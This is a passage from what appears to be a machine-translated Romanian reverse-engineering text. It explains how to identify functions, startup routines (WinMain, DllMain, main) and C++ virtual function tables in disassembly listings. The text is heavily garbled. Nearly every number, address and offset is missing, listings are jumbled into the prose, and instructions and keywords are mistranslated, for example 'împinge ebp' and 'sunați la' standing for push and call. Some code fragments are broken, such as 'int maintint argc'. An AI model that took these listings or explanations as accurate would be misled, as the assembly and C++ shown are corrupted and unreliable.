moduri: prin referințe încrucișate (referințe încrucișate) care conduc la apelul instrucțiunii mașinii și prin epilogul acesteia (epilog), care se termină cu instrucțiunea ret Referințele încrucișate și un epilog împreună vă permit să determinați adresele începutului și sfârșitului funcției Privind puțin înainte, observăm că la începutul multor funcții există o secvență caracteristică de comenzi numită prog (prolog), care este potrivită și pentru identificarea funcțiilor Acum să ne uităm la toate aceste întrebări mai detaliat Referințe încrucișate Privind prin codul de dezasamblare, găsim toate instrucțiunile de apel - conținutul operandului lor va fi adresa dorită de la începutul funcției Adresa funcțiilor non-virtuale numite după nume este calculată în timpul compilării, iar operandul instrucțiunii de apel în astfel de cazuri este o valoare imediată Datorită acestui fapt, adresa de început a funcției este dezvăluită printr-o simplă analiză sintactică: căutăm toate subșirurile de apel prin căutare de context și ne amintim (notăm) operanzii lor imediati Luați în considerare următorul exemplu (Listarea ) : Lista , l Exemplu demonstrativ " apel de funcție mediocră func(); principal() { int a; func(); a= x ; func(); } func() { int a; Rezultatul compilării ar trebui să arate ceva ca Lista Function epilog - câteva linii de cod care se află la sfârșitul funcției și restaurează stiva și registrele la starea pe care o aveau înainte ca funcția să fie apelată Consultați secțiunea „Epilog” mai târziu în acest capitol Funcție prolog - mai multe linii de cod care se află la începutul funcției și pregătesc stiva și registrele pentru lucrul cu funcția Consultați „Prolog” mai târziu în acest capitol și, de asemenea, Capitolul , „Identificarea variabilelor stivei locale” Capitolul Identificarea funcției text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text: text; text: text: text: text: text: A text: C text: D text: text: text: text: text- text: împinge ebp mov ebp, esp împinge ecx sunați la ; Am găsit o instrucțiune de apel cu un operand imediat, ; care este adresa începutului funcției ; Mai exact, schimbarea sa în segmentul de cod ; (în acest caz, în segmentul „ text”) ; Acum puteți merge la linia „ text: ” ; și, dând funcției propriul nume, înlocuiți operandul ,- apelați instrucțiuni la construcția „call offset Nume funcție” mov dword ptr [ebp- ], h sunați la ; Și iată un alt apel de funcție! Referindu-ne la linie ; „ text: ”, vom vedea că acest set de instrucțiuni ; deja definită ca funcţie Tot ce este nevoie ; a face este să înlocuiți apelul cu ; „numele funcției de compensare apel” mov esp, ebp pop ebp retn ; Aici am întâlnit o instrucțiune de returnare de la o funcție, ; cu toate acestea, nu faptul că acesta este într-adevăr sfârșitul funcției - ; La urma urmei, o funcție poate avea mai multe puncte de ieșire ; Totuși, uite: după ret este începutul funcției ; „funcția mea” identificată prin operand ; instrucțiuni de apel Pentru că funcțiile nu pot ; se suprapune, rezultă că ret dat este sfârșitul funcției împinge ebp ; Acest șir este referit de operanzii mai multor instrucțiuni , - apel Prin urmare, aceasta este adresa de la începutul funcției ; Fiecare funcție trebuie să aibă propriul nume - cum am face noi ; o numeste? Să-i spunem „funcția mea” mov ebp, esp ; \PART \CH \SRC\Crackme Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt int maintint argc, char **argv) printf("%x\n",max( x , x )); printf("%x\n",max( x ,argc)); printf("%x\n", max( x ,argc)); întoarce ; Rezultatul compilării acestuia ar trebui, în general, să arate ca Lista , Lista Rezultatul compilarii exemplului din Lista împinge esi push edi împingere h ; MOV - Jx", și a devenit ; „CMP -> Jx, MOV” Și în al doilea rând, ramura condiționată a lui JL este în mod misterios; transformat în JGE Cu toate acestea, nu este nimic misterios aici - pur și simplu merge; optimizare end-to-end! Deoarece după a treia funcție apelați max ; variabila argc alocată de compilator în registrul ESI nu mai este ; este utilizat, compilatorul are capacitatea de a face direct ; modificați acest registru în loc să introduceți o variabilă temporară, ; alocarea unui registru EDI pentru acesta os : ; COD XREF: sub + BÎj Capitolul Identificarea funcției împinge esi push offset aProc ; „%x\n” apelați printf adăugați esp, mov eax, edi pop edit pop esi retn Uite, la primul apel, compilatorul a aruncat cu totul întregul cod al funcției, calculând rezultatul muncii sale în etapa de compilare (într-adevăr, x este întotdeauna mai mare decât x și nu este nevoie să cheltuiești ciclurile procesorului pentru a compara lor) Iar al doilea apel se aseamănă foarte puțin cu al treilea, în ciuda faptului că aceleași argumente au fost trecute funcției în ambele cazuri! Aici va dura mult timp pentru a afla dacă aceeași funcție este apelată sau nu! O notă despre ordinea de traducere a funcțiilor Majoritatea compilatoarelor aranjează funcțiile în executabil în aceeași ordine în care au fost declarate în program Modele de memorie și compilatoare pe biți Până acum, „adresa” unei funcții din acest capitol a însemnat doar decalajul acesteia în segmentul de cod Modelul de memorie plată al Windows pe de biți „împachetează” toate cele trei segmente - segmentul de cod, segmentul de stivă și segmentul de date - într-un singur spațiu de adresă de patru gigaocteți, făcând posibilă uitarea de existența segmentelor Un alt lucru sunt aplicațiile pe biți pentru MS-DOS și Windows x În ele, dimensiunea maximă admisă a segmentului este de numai KB, ceea ce în mod clar nu este suficient pentru majoritatea aplicațiilor Într-un model de memorie (minuscul), codul, stiva și segmentele de date sunt, de asemenea, situate în același spațiu de adrese, dar, spre deosebire de modelul plat, acest spațiu de adrese este extrem de limitat ca dimensiune și, prin urmare, orice aplicație mai mult sau mai puțin serioasă trebuie distribuit pe mai multe segmente În această situație, pentru a apela o funcție, nu mai este suficient să cunoști offset-ul acesteia - trebuie să specificați și segmentul în care se află Din fericire, astăzi acest rudiment poate fi uitat cu conștiința curată Pe fundalul versiunilor pe de biți ale Windows, care câștigă în mod constant teren, pur și simplu nu are sens să descriem codul pe biți în detaliu Capitolul Identificarea funcțiilor de pornire Dacă îl întrebăm pe primul programator de aplicații pe care îl întâlnim: „Cu ce funcție începe execuția unui program Windows?”, atunci, cel mai probabil, vom auzi ca răspuns: „Cu WinMain”, iar aceasta va fi o greșeală De fapt, codul de pornire, ascuns de compilator, este primul care primește controlul - după ce a finalizat procedurile de inițializare necesare, la un moment dat apelează funcția WinMain, iar după ce este finalizat, primește din nou controlul și efectuează o deinițializare „major” Identificarea funcției WinMain În marea majoritate a cazurilor, codul de pornire nu prezintă interes, iar prima sarcină a unui căutător de coduri care analizează un program este să găsească funcția WinMain Dacă compilatorul este unul dintre cele „familiare” ale IDA Pro, funcția WinMain va fi recunoscută automat În caz contrar, trebuie făcut manual De obicei, livrarea standard a unui compilator include textele sursă ale bibliotecilor sale, inclusiv procedurile codului de pornire De exemplu, în Microsoft Visual C++, codul de pornire se află în următoarele fișiere: □ CRT\STC\CRTO C - versiunea static link; □ CRT\SRC\CRTEXE C - versiune pentru linking dinamic, în care codul bibliotecii nu este atașat fișierului, ci este apelat din DLL; □ CRT\SRC\wincmdln c - versiune pentru aplicații de consolă În Borland C++, toate fișierele cu cod de pornire sunt stocate într-un director separat cu același nume În special, codul de pornire pentru aplicațiile Windows este conținut în fișierul cow asm Odată ce ați înțeles codul sursă, vă va fi mult mai ușor să înțelegeți listele de dezasamblare! Dar dacă un compilator necunoscut sau inaccesibil pentru dvs a fost folosit pentru a compila programul studiat? Înainte de a continua cu plictisitoarea analiză manuală, să ne amintim ce prototip are funcția WinMain (Listing ) • Lista Prototipul funcției WinMain int WINAPI WinMain( HINSTANCE hlnstance, // Se gestionează la instanța curentă // Trecerea la instanța anterioară HINSTANȚĂ hPrevInstance, LPSTR IpCmdLine, int nCmdShow // Treceți la următoarea instanță // Indicator către linia de comandă // Indicator către linia de comandă // Afișează starea ferestrei // Stare fereastră Capitolul Identificarea funcţiilor de pornire În primul rând, patru argumente sunt destul de multe și, în cele mai multe cazuri, WînMain se dovedește a fi cea mai bogată funcție de argumente din codul de pornire În al doilea rând, ultimul argument introdus pe stivă, insinuarea, este cel mai adesea calculat din mers prin apelarea funcției API GetModuleHandleA Astfel, întâlnind un construct precum CALL GetModuleHandleA, putem spune cu un grad ridicat de certitudine că următoarea funcție este WînMain În cele din urmă, apelul către WînMain este de obicei situat aproape de sfârșitul codului funcției de pornire Acest apel este urmat de cel mult două sau trei funcții de „închidere”, cum ar fi exit și xcptFilter Luați în considerare fragmentul de cod afișat în Lista - Imediat izbitoare sunt numeroasele instrucțiuni push care împing argumente în stivă, ultimul dintre care trece rezultatul finalizării funcției GetModuleHandleA Asta înseamnă că avem exact apelul către WînMain (și IDA Pro confirmă că exact așa este) text: push eax text: push esi text: push ebx text: push ebx text: apel ds:GetModuleHandleA text: E push eax text: F sunați la WinMain@ text: mov [ebp+var ] , eax text: push eax text: apel ds:exit Dar nu totul este întotdeauna atât de simplu - mulți dezvoltatori, folosind disponibilitatea textelor sursă ale codului de pornire, îl modifică (uneori destul de semnificativ) Drept urmare, execuția programului poate începe nu de la WînMain, ci de la orice altă funcție, mai mult, acum codul de pornire poate conține operații care sunt critice pentru înțelegerea algoritmului programului (de exemplu, decodorul codului principal)! Prin urmare, este întotdeauna recomandat să studiați cel puțin pe scurt codul de pornire - conține ceva neobișnuit? Identificarea funcției DIIMain Situația este similară cu bibliotecile dinamice - execuția lor nu începe deloc cu funcția DIIMain (dacă, desigur, este prezentă deloc în DLL), ci cu DllMainCRTStartup (implicit) Cu toate acestea, dezvoltatorii modifică uneori setările implicite setând cheia /entry linker la orice funcție de pornire de care au nevoie Strict vorbind, este greșit să numiți DIIMain o funcție de pornire - este apelată nu numai la încărcarea unui DLL, ci și la descărcare, precum și atunci când un fir nou este creat / distrus de procesul care l-a conectat Primind notificări cu privire la aceste evenimente, dezvoltatorul poate lua anumite măsuri (de exemplu, pregăti codul pentru a funcționa într-un mediu cu mai multe fire) O întrebare foarte relevantă este dacă toate acestea contează pentru analiza programului? Într-adevăr, cel mai adesea este necesar să se analizeze nu întreaga bibliotecă dinamică în ansamblu, ci să se investigheze funcționarea unora dintre funcțiile pe care le exportă Dacă DIIMain efectuează o acțiune, să zicem, inițializează variabile, atunci restul funcțiilor care sunt afectate de aceste variabile vor conține referințe directe la acestea, ducând direct la DIIMain Astfel, nu ar trebui să cauți manual DIIMain - se va găsi! Cu toate acestea, ar fi Identificarea argumentelor va fi discutată în detaliu în Capitolul , „Identificarea argumentelor de funcție” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ar fi bine dacă ar fi mereu așa! Dar viața este mai complicată decât orice regulă Ce se întâmplă dacă DllMain conține un cod distructiv sau o bibliotecă care, pe lângă activitatea sa principală, spionează firele, urmărindu-le aspectul? Atunci nu te poți descurca fără o analiză directă a codului său! Găsirea DllMain este un ordin de mărime mai dificilă decât wmMain, iar dacă IDA Pro nu îl găsește, atunci situația este serios complicată În primul rând, prototipul funcției DllMain este destul de simplu și nu conține nimic specific (Listing - ) Lista Prototipul funcției DllMain BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID IpvReserved // Se gestionează modulul DLL // Mânerul modulului DLL // Motivul apelării funcției // Motivul apelării funcției // rezervat // Rezervat În al doilea rând, apelul său vine din partea foarte grozavă a funcției destul de impresionante DllMainCRTStartup și nu există nicio modalitate de a ne asigura rapid că aceasta este exact instrucțiunea de apel de care avem nevoie Cu toate acestea, există încă câteva indicii Deci, dacă inițializarea eșuează, DllMain returnează false și DllMainCRTStartup code trebuie verificat rit această valoare, caz în care, sărind la sfârșitul funcției Nu există multe ramuri detaliate în corpul funcției de pornire și, de obicei, doar una dintre ele este legată de o funcție care are trei argumente Un exemplu care ilustrează identificarea funcției DllMain printr-un cod de inițializare eșuat este prezentat în Lista Lista DHMaînno identificare pentru codul de inițializare eșuat text: C push text: D push text: E push text: F apel text: cmp text: mov text: A jnz text: C test text: E jnz edi esi ebx DllMain@ ei, [ebp+arg ], eax short loc eax, eax scurt loc Derulând puțin pe ecran, este ușor de observat că registrele edi, esi și ebx conțin IpvReserved, fdwReason și, respectiv, hinstDLL Și asta înseamnă că nu avem în față nimic altceva decât funcția DllMain Notă Codul sursă pentru funcția DllMainCRTStartup este conținut în fișierul dllcrtO c, care este foarte recomandat să studiezi Identificarea funcției principale a aplicațiilor de consolă Windows În cele din urmă, am ajuns la funcția principală a aplicațiilor pentru consolă Windows Ca întotdeauna, execuția programului nu începe cu acesta, ci cu funcția mainCRTStartup, care inițializează heap-ul, sistemul I/O, pregătește argumentele liniei de comandă și abia apoi Secțiunea Identificarea funcțiilor de pornire dă control funcției principale Funcția principal ia doar două argumente: int main(int argc, char **argv) Acest lucru este prea puțin pentru a o deosebi de restul Cu toate acestea, faptul că comutatoarele liniei de comandă sunt disponibile nu numai prin argumente, ci și prin variabilele globale argc și, respectiv, argv vine în ajutor Așa că sunând principal de obicei arată ca Lista Lista , Identificarea funcției principale text: text: text: F text: F text: F text: F text: A text: A •text: AA text: AA text: AA text: AA text: AA text: AB push dword D push dword D call main ; Vezi: ambele argumente ale funcției sunt pointeri către ; variabile globale () adăuga esp, OCh mov [ebp+var lC], eax împinge eax ; Vezi: valoarea returnată a funcției, transmisă ; ieșirea funcționează ca cod de ieșire a procesului ; Deci aceasta este funcția main call exit Rețineți, de asemenea, că rezultatul funcției principale este transmis funcției care o urmează (aceasta este de obicei ieșirea funcției de bibliotecă) Așa că ne-am dat seama de identificarea principalelor tipuri de funcții de pornire Desigur, nu totul este la fel de simplu în viață ca în teorie, dar, în orice caz, tehnicile descrise vor simplifica semnificativ analiza Identificarea variabilelor globale va fi discutată în detaliu în Capitolul , „Identificarea variabilelor globale” Capitolul Identificarea funcțiilor virtuale Termenul „funcție virtuală” prin definiție înseamnă „o funcție definită în timpul execuției” Când este apelată o funcție virtuală, codul executat trebuie să se potrivească cu tipul dinamic al obiectului de la care este apelată funcția Prin urmare, adresa unei funcții virtuale nu poate fi determinată în etapa de compilare - acest lucru trebuie făcut direct în momentul apelării acesteia Acesta este motivul pentru care apelarea unei funcții virtuale este întotdeauna un apel indirect Singurele excepții de la această regulă sunt funcțiile virtuale ale obiectelor statice, care vor fi discutate mai detaliat în secțiunea „Legarea statică” mai târziu în acest capitol În timp ce funcțiile non-virtuale sunt apelate exact în același mod ca și funcțiile C obișnuite, apelarea funcțiilor virtuale este fundamental diferită Schema specifică depinde de implementarea unui anumit compilator, dar în cazul general, referințele la toate funcțiile virtuale sunt plasate într-o matrice specială - un tabel virtual (Virtual table, VTBL) și un pointer către un tabel virtual este plasat în fiecare instanță de obiect care utilizează cel puțin o funcție virtuală (Virtual table pointer, VPTR sau Vpointer) Mai mult, indiferent de numărul de funcții virtuale, fiecare obiect are un singur pointer Apelarea funcțiilor virtuale are loc întotdeauna indirect, printr-o referință la un tabel virtual - de exemplu: call [evx + OxU], unde exx este un registru care conține offset-ul tabelului virtual în memorie, iar x este offset-ul pointerului către funcția virtuală în interiorul mesei virtuale Analizarea apelului de funcții virtuale întâmpină o serie de dificultăți, dintre care cea mai insidioasă este necesitatea de a urmări codul pentru a ține evidența valorii registrului utilizat pentru adresare indirectă Este bine dacă este inițializat la o valoare imediată, cum ar fi evx-ul meu, offset vtbl, aproape de locul în care este folosit Mai des, totuși, un pointer VTBL este transmis unei funcții ca argument implicit sau, mai rău, același pointer este folosit pentru a apela două funcții virtuale diferite În acest caz, apare incertitudinea - care este exact valoarea (valorile) pe care o are în această ramură a programului? Să ne uităm la exemplul din Listarea Trebuie reținut că, dacă aceeași funcție non-virtuală este prezentă atât în clasa de bază, cât și în clasa derivată, atunci funcția clasei de bază este întotdeauna apelată Lista Demonstrarea apelării funcțiilor virtuale #include clasa de baza{ public: virtual void demo (void) Capitolul Identificarea funcțiilor virtuale printf("BAZĂ\n"); virtual void demo (void) { printf("DEMO DE BAZĂ \n"); } ; void demo (void) { printf("DEMO DE BAZĂ non virtuală \n"); class Derived: public Base{ public: virtual void demo (void) { printf("DERIVAT\n"); virtual void demo (void) { printf("DEMO DERIVAT \n"); void demo (void) { printf("DEMO DERIVE non virtuale\n"); principal() { Baza *p = noua Baza; p->demo(); p->demo (); p->demo (); p = nou Derivat; p->demo(); p->demo (); p->demo (); } Rezultatul compilarii exemplului prezentat în Lista ar trebui, în general, să arate ca Lista 'j Lista JL Rezultatul compilării exemplului prezentat în Lista proc principal lângă COD XREF: start+AF^p împinge esi apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; EAX c - pointer către blocul de memorie alocat ; Alocam patru octeți de memorie pentru o instanță a noului obiect ; Obiectul constă dintr-un singur pointer către VTBL adauga test z special eax, eax scurt loc Eroare de alocare a memoriei Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; verificarea succesului alocării memoriei mov dword ptr [eax], offset BASE VTBL ; Aici, în instanța nou creată a obiectului este copiat ; pointer către un tabel virtual din clasa BASE ; Puteți afla că acesta este un tabel virtual al clasei BASE ; după ce au analizat elementele acestui tabel – ei indică membrii ; clasa BASE, prin urmare, tabelul în sine este un tabel virtual ; Clasa BASE mov esi, eax; ESI = **BASE VTBL ; Introducem în ESI un pointer către o instanță de obiect (un pointer către ; pointer către BASE VTBL) ; Pentru ce? Faptul este că, de fapt, un pointer către ; instanță a obiectului , dar în acest stadiu avem toate aceste detalii ; la nimic, prin urmare, spunem pur și simplu că în ESI - un pointer către ; un pointer către tabelul virtual al clasei de bază, ; fără a înțelege de ce a fost necesar acest indicator dublu, jmp short oc B os : ; COD XREF: sub +DОj xor esi, esi ; Reduceți forțat la zero indicatorul către instanța obiectului (această ramură primește ; control numai în cazul alocării nereușite a memoriei pt ; obiect) Un pointer nul va prinde handler-ul de structural ; exceptii La prima încercare de acces, resetăm forțat ; un pointer către o instanță de obiect OS B: COD XREF: sub + Оj mov eax, [esi] ; EAX - *BASE VTBL == *BASE DEMO ; Introducerea în EAX a unui pointer către un tabel virtual din clasa BASE, ; fără a uita că indicatorul către tabelul virtual ; este, de asemenea, un indicator către primul element al acestuia ; Mese Și primul element al tabelului virtual care conține ; pointer la prima funcție virtuală (în ordinea declarației) ; clasă mov ex, esi ; ECX = asta ; Punem în ECX un pointer către o instanță de obiect, trecând ; argumentul implicit al funcției apelate este pointerul this call dword ptr [eax] ; Apelați BASE DEMO ; Aici oh - un apel la o funcție virtuală Pentru a înțelege - care ; este numită funcția, trebuie să cunoaștem valoarea registrului EAX ; Derulând în sus pe ecranul dezasamblatorului, vedem - indică EAX ; la BASE VTBL, iar primul membru al BASE VTBL (vezi mai jos) indică ; Funcția BASE DEMO Prin urmare: ; a) acest cod apelează exact funcția BASE DEMO Acest lucru va fi discutat mai detaliat în Capitolul , „Identificarea obiectelor, structurilor și tablourilor” Acest lucru va fi discutat mai detaliat în Capitolul , „Identificarea acestui lucru” și în Capitolul , „Identificarea argumentelor funcției” Capitolul Identificarea funcţiilor virtuale ; b) funcția BASE DEMO este o funcție virtuală mov edx, [esi] ; EDX = *BASE DEMO ; Introducem in EDX un pointer catre primul element al tabelului virtual al clasei ; vază mov ex, esi ; ECX = asta ; Introducem în ECX un pointer către o instanță de obiect ; Acesta este un argument implicit al funcției - pointerul this call dword ptr [edx+ ] ; Apelați [BASE VTBL+ ] (BASE DEMO ) ; Un alt apel la o funcție virtuală „Pentru a înțelege care ; este numită funcția, trebuie să cunoaștem conținutul registrului EDX ; Derulând în sus ecranul dezasamblatorului, vedem că acesta ; indică către BASE VTBL și, prin urmare, EDX+ indică către al doilea ; element tabel virtual din clasa BASE El, la rândul său, ; indică funcția BASE DEMO push offset aNonVirtualBase ; „DEMO DE BAZĂ non virtuală \n” apelați printf ; Dar apelul nu este o funcție virtuală Fii atent - el ; procedează la fel ca apelarea unei funcții C normale (Notă, ; că această funcție este încorporată, deoarece este declarată direct în ; clasa în sine și în loc să o numească, se face o substituție ; cod) apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; Urmează apelul de funcție al clasei DERIVED Nu vom intra în detalii aici ; comentează-l - fă-o singur În general, ; clasa DERIVAtă era nevoie doar pentru a arăta ; caracteristici de aranjare a mesei virtuale adăugați esp, ; Curățare după printf și nou test eax, eax □ z scurt os А ; Eroare de alocare a memoriei mov dword ptr [eax], offset DERIVED-VTBL mov esi, eax ; ESI == **DERIVED VTBL jmp scurt loc C loc A: xor esi, esi IOS— C: mov eax, [esi] mov ecx, esi apelați dword ptr [eax] mov edx, [esi] mov ecx, esi apelați dword ptr [edx+ ] ; COD XREF: SUb + EОj ; COD XREF: SUb + Оj ; EAX = *DERIVED VTBL ; ECX = asta ; Apelați [DERIVED-VTBL] (DERIVED—DEMO) ; EDX = *DERIVED VTBL ; ECX=thls ; Apelați [DERIVAT—VTBL+ ] (DERIVED—DEMO ) Acest lucru va fi tratat mai detaliat în Capitolul , „Identificarea acestui lucru” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt push offset un apel NonVirtualBase printf ; Atenție – se numește; nu o clasă derivată! adăugați esp, pop esi retn endp principal BASE DEMO proc aproape push offset aBase apelați printf pop ecx retn BASE DEMO endp BASE DEM proc aproape push offset aBaseDemo call printf pop ecx retn BASE DEM endp DERIVED DEMO proc aproape push offset aDerivat apelați printf pop ecx retn DERIVED DEMO endp DERIVED DEM proc aproape push offset aDerivedDemo call printf pop ecx retn DERIVED DEM endp ; „DEMO DE BAZĂ non virtuală \n* funcția BASE DEMO a bazei, ; DATE XREF: rdata: B IO ; „BAZA\n” ; DATE XREF: rdata: В IO ; „DEMO DE BAZĂ \n” ; DATE XREF: rdata: A IO ; DATE XREF: rdata: ACIO ; „DEMO DERIVAT \n” DERIVED VTBL dd offset DERIVED DEMO dd offset DERIVED DEM BASE VTBL dd offset BASE DEMO dd offset BASE DEM ; DATE XREF: Sub + Îo DATE XREF: Sub +FÎo ; Vă rugăm să rețineți că mesele virtuale „cresc” de jos în sus în ordine; declarațiile de clasă din program și elementele tabelului virtual „cresc” ; de sus în jos în ordinea în care funcțiile virtuale sunt declarate într-o clasă ; Desigur, acest lucru nu este întotdeauna cazul (ordinea în care sunt plasate tabelele și elementele lor; nu este declarată nicăieri și stă în întregime pe „conștiința” compilatorului, dar în practică, majoritatea se comportă astfel) Ei înșiși virtuali; Funcțiile sunt plasate una lângă alta în ordinea în care sunt declarate Implementarea apelurilor de funcții virtuale este prezentată în fig Capitolul Identificarea funcţiilor virtuale Orez Implementarea apelurilor de funcții virtuale Identificare pură a funcției virtuale Dacă o funcție este declarată într-o clasă de bază și implementată într-o clasă derivată, o astfel de funcție se numește funcție virtuală pură, iar o clasă care conține cel puțin o astfel de funcție se numește clasă abstractă Limbajul C++ interzice crearea de instanțe ale unei clase abstracte și cum pot fi create dacă cel puțin una dintre funcțiile clasei nu este definită? La prima vedere - nu este definit și bine - care este problema? La urma urmei, acest lucru nu afectează analiza programului De fapt, acesta nu este cazul - o funcție pur virtuală dintr-un tabel virtual este înlocuită cu un pointer către funcția de bibliotecă purecall De ce este nevoie de ea? Cert este că în etapa de compilare a programului este imposibil să se garanteze „prinderea” tuturor încercărilor de a apela funcții pur virtuale, dar dacă are loc un astfel de apel, controlul va fi primit de către purecau presubstituit aici, care va afișa un mesaj de eroare care informează despre interdicție pentru a apela funcții virtuale pure și pentru a încheia aplicația Puteți citi mai multe despre acest lucru în nota tehnică MSDN Q , din iunie Astfel, întâlnind un pointer to purecall într-un tabel virtual, se poate cu încredere susțin că avem de-a face cu o funcție pur virtuală Luați în considerare exemplul prezentat în Lista #include clasă de bază{ public: virtual void demo(void)= ; class Derived:public Base { Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt public: virtual void demo(void) { printf("DERIVEDXn"); Baza *p = nou Derivat; p->demo(); } Compilarea acestui exemplu ar trebui, în general, să arate ca Lista = Lista Rezultatul compilarii exemplului din Lista este proc principal lângă ; COD XREF: start+AF,Lp apăsați sunați la ?? @YAPAXI@Z adăugați esp, ; Alocați memorie pentru o nouă instanță a unui obiect test eax, eax ; Verificarea succesului alocării memoriei jz scurt oc mov ex, eax ; ECX = asta sunați pe GetDERIVED VTBL ; inserarea unui pointer către tabelul virtual al clasei într-o instanță a unui obiect ; DERIVAT jmp scurt loc loc : COD XREF: principal+CÎj xor eax, eax ; EAX=NULL loc : COD XREF: principal+ Îj mov edx, [ eax ] ; apare o excepție la accesarea unui pointer nul mov ex, eax jmp dword ptr[edx] endp principal GetDERIVED VTBL proc lângă C DE XREF: principal+lOÎp împinge esi mov esi, ecx ; Un argument implicit este transmis funcției prin registrul ECX - acesta apelați SetPointToPure ; funcția pune un pointer către purecall în instanța obiectului ; funcție specială - un stub în cazul unui apel neplanificat ; funcție virtuală pură mov dword ptr [esi], offset DERIVED VTBL ; inserarea unui pointer către un tabel virtual într-o instanță de obiect Capitolul Identificarea funcţiilor virtuale ; clasă derivată, suprascriind valoarea anterioară ; (indicator către purecall) mov eax, esi pop esi retn GetDERIVED VTBL endp DERIVED DEMO proc lângă ; DATE XREF: rdata: A IO push offset aDerivat ; „DERIVAT\n” apelați printf pop ecx retn DERIVED DEMO endp SetPointToPure proc lângă COD XREF: GetDERIVED VTBL+ ip mov eax, ecx mov dword ptr [eax], offset PureFunc ; Introducem prin [EAX] (într-o instanță a unui obiect nou) un pointer către un special ; funcția - purecall, care este concepută pentru a urmări încercările ; apelarea unei funcții pur virtuale în timpul execuției programului − ; dacă apare o astfel de încercare, purecall va afișa un mesaj despre ; apelarea unei funcții pur virtuale nu este permisă și va ieși retn SetPointToPure endp DERIVED VTBL dd offset DERIVED DEMO ; DATE XREF: GetDERIVED VTBL+ Îo PureFunc dd offset purecall ; DATE XREF: SetPointToPure+ Îo ; pointer la funcția stub purecall Prin urmare, avem de-a face ; cu o funcție pur virtuală Partajarea unui tabel virtual între mai multe instanțe ale unui obiect Indiferent câte instanțe de obiect există, toate folosesc aceeași tabelă virtuală (Figura ) Tabelul virtual aparține obiectului însuși, nu instanței (instanțelor) acelui obiect Cu toate acestea, există excepții de la această regulă, care vor fi discutate în Sect „Copii ale tabelelor virtuale” mai târziu în acest capitol Orez Toate instanțele de obiect folosesc aceeași tabelă virtuală Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Pentru a confirma acest lucru, luați în considerare exemplul prezentat în Lista Lista , Demonstrarea utilizării unei singure copii a tabelului virtual mai multe instanțe de clasă #include clasa de baza( public:demo virtual() ( printf("baza\n"); ) ); clasa Derivată: bază publică{ public: demonstrație virtuală() { printf("Denved\n"); principal() ( Baza * ob^l = nou Derivat; Baza * ob] = nou Derivat; obj ->demo(); obj ->demo(); Compilarea acestui exemplu ar trebui, în general, să arate ca Lista proc principal lângă C DE XREF: start+AFJ p împinge esi push edi apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) adăugați esp, ; Alocați memorie pentru prima instanță a unui obiect test eax, eax Z scurt os В mov ecx, eax; EAX - indică prima instanță a apelului obiect GetDERIVED VTBL ; în ЕАХ — un pointer către un tabel virtual din clasa DERIVED mov edi, eax; EDI = *DERIVED VTBL jmp scurt loc D loc B: ; COD XREF: principal+EOj Capitolul Identificarea funcţiilor virtuale xor edi, edi loc D: C DE XREF: principal+ Оj apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) adăugați esp, ; alocă memorie pentru a doua instanță a obiectului test eax, eax jz scurt oc mov ex, eax ; ECX - asta sunați pe GetDERIVED VTBL ; rețineți că a doua instanță folosește același lucru ; masă virtuală DERIVED VTBL dd offset DERIVED DEMO DATE XREF: GetDERIVED VTBL+ Îo BASE VTBL dd offset BASE DEMO DATE XREF: GetBASE VTBL+ Îo ; Vă rugăm să rețineți că există un singur tabel virtual pentru toate instanțele de clasă Copii ale tabelelor virtuale „OK, pentru o muncă de succes, desigur, un singur tabel virtual este suficient, dar în practică trebuie să se ocupe de faptul că fișierul studiat este plin de copii ale acestor tabele virtuale Ce fel de atac este acesta, de unde vine și cum să-i rezolvi? Dacă programul constă din mai multe fișiere compilate în module-obj independente (și această abordare este folosită în aproape toate proiectele mai mult sau mai puțin serioase), compilatorul trebuie în mod evident să pună „propriul său” tabel virtual în fiecare fișier obj pentru fiecare clasă folosită de modulul Într-adevăr, de unde știe compilatorul despre existența altor module obiect și prezența tabelelor virtuale în ele? Așa apar duplicatele inutile, mâncând memoria și complicând analiza Adevărat, în etapa de conectare, linkerul poate detecta copii și le poate elimina, iar compilatorii înșiși folosesc diverse euristici pentru a crește eficiența codului generat Următorul algoritm a câștigat cea mai mare popularitate: tabelul virtual este plasat în modulul care conține implementarea primei funcție non-virtuală neîncorporată a clasei De obicei, fiecare clasă este implementată într-un singur modul și, în majoritatea cazurilor, această euristică funcționează Mai rău este dacă clasa constă doar din funcții virtuale sau inline - în acest caz, compilatorul începe să plaseze tabele virtuale în toate modulele în care este utilizată această clasă Linker-ul este ultima speranță pentru eliminarea copiilor nedorite, dar nu este un panaceu De fapt, aceste probleme ar trebui să fie mai mult o preocupare pentru dezvoltatorii de programe (dacă le pasă de cantitatea de memorie pe care o ocupă programul) Pentru analiză, copiile suplimentare sunt doar o piedică enervantă, dar în niciun caz un obstacol de netrecut! Lista legată În cele mai multe cazuri, tabelul virtual este doar o matrice, dar unii compilatori îl reprezintă ca o listă legată În acest caz, fiecare element al tabelului virtual conține un pointer către următorul element, iar elementele în sine nu sunt plasate aproape unele de altele, ci împrăștiate în întregul fișier executabil În practică, acest lucru este însă extrem de rar, așa că nu ne vom opri în detaliu asupra acestui lucru Este suficient doar să știi ce se întâmplă Dacă vă întâlniți cu liste (ceea ce, totuși, este puțin probabil), veți înțelege circumstanțele, deoarece acest lucru nu este dificil Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Apelați prin gateway Fiți pregătiți să întâlniți în tabelul virtual un pointer nu către o funcție virtuală, ci către codul care modifică acest pointer introducând offset-ul funcției apelate în el Această tehnică a fost propusă pentru prima dată de însuși dezvoltatorul limbajului, Bjarne Stroustrup, care a împrumutat-o din implementările timpurii ale limbajului Algol În Algol, codul care corectează indicatorul funcției apelate se numește gateway (thunk), iar apelul însuși se numește apel prin gateway Este destul de corect să folosim această terminologie în legătură cu C++ Cu toate acestea, în prezent apelarea prin gateway este extrem de rară și nu este folosită de aproape niciun compilator Deși oferă o stocare mai compactă a tabelelor virtuale, modificarea 